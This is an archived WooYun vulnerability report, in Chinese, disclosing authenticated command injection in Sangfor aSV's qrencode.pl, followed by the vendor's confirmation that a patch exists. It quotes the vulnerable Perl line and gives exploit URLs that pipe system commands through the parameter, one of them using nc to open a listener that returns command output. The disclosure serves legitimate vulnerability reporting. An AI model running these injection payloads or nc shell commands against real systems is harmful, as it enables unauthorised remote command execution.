深信服aSV漏洞第一弹之Remote Code Execution
漏洞概要
缺陷编号:
WooYun-2015-145283
漏洞标题: 深信服aSV漏洞第一弹之Remote Code Execution
相关厂商:
深信服
漏洞作者:
路人甲
提交时间: 2015-10-08 11:20
公开时间: 2016-01-11 15:32
漏洞类型: 远程代码执行
危害等级: 中
自评Rank: 5漏洞状态: 厂商已经确认
漏洞来源:
http://www.wooyun.org,如有疑问或需要帮助请联系
[email protected]
Tags标签:
RCE
漏洞详情披露状态:
2015-10-08: 细节已通知厂商并且等待厂商处理中
2015-10-09: 厂商已经确认,细节仅向厂商公开
2015-10-12: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航)
2015-12-03: 细节向核心白帽子及相关领域专家公开
2015-12-13: 细节向普通白帽子公开
2015-12-23: 细节向实习白帽子公开
2016-01-11: 细节向公众公开
简要描述:
perl脚本有问题,有软waf也没用
详细说明:
利用此漏洞前提:需要登陆aSV控制台
而且权限较低(www-data),所以自评漏洞为中
问题代码出在qrencode.pl上,程序猿自己回去检查
code 区域#!/usr/bin/perl -w
#1、获取传入参数
my $r = Apache2::RequestUtil->request();
my $cgi = CGI->new($r);
my $need_encode_intext = $cgi->param( 'need_encode_intext' );
exit (0) if(!defined($need_encode_intext) || ($need_encode_intext eq ""));
#2、根据传入参数得到二维码图片
my $qrencode_png_name = 'tmp_qrencode.png';
my $qrencode_png_path = "/tmp/$qrencode_png_name";
my $errmsg="";
eval {
#如果图片存在,那么就删除
if(-f $qrencode_png_path) {
unlink $qrencode_png_path or lerror("Failed unlink ${qrencode_png_path}, err: $!");
}
#转换得到二维码图片
my $cmdstr = "/usr/bin/qrencode -o ${qrencode_png_path} ${need_encode_intext}";
VTP::Tools::run_command($cmdstr,errfunc => sub { $errmsg = $errmsg . shift . "\n"; });
};
你们懂的,问题出在my $cmdstr = "/usr/bin/qrencode -o ${qrencode_png_path} ${need_encode_intext}";
登陆aSV后访问
code 区域/qrencode.pl?need_encode_intext=123|系统命令
即可执行系统命令,不过这里继承了apache的用户组www-data,所以权限较低
那么要怎么样获得命令回显呢,利用NC的-c参数
code 区域/qrencode.pl?need_encode_intext=123|nc -nnvl -p 5500 -c 'id'
访问上面URL后telnet aSV的5500端口即可看到命令回显
漏洞证明:
修复方案:
你们懂的
版权声明:转载请注明来源
路人甲@
乌云
漏洞回应
厂商回应:
危害等级:低
漏洞Rank:3
确认时间:2015-10-09 12:52
厂商回复:感谢白帽子提交的问题。经确认,该漏洞确实存在,不过需要先登录控制台才能利用此漏洞,利用此漏洞不能读取到任何业务数据,且权限过低,也无法进行写入操作,并不能对业务数据造成影响,考虑以上因素,我们将此漏洞危害等级评为低。目前针对该漏洞的补丁包已经发布。
感谢白帽子为我们指出问题,请白帽子私信留下联系方式,我们将为您寄送礼物以示答谢!
最新状态:暂无
原文:http://www.wooyun.org/bugs/wooyun-2015-0145283
搜索更多相关主题的帖子:
深信服 aSV 远程命令执行 源码泄露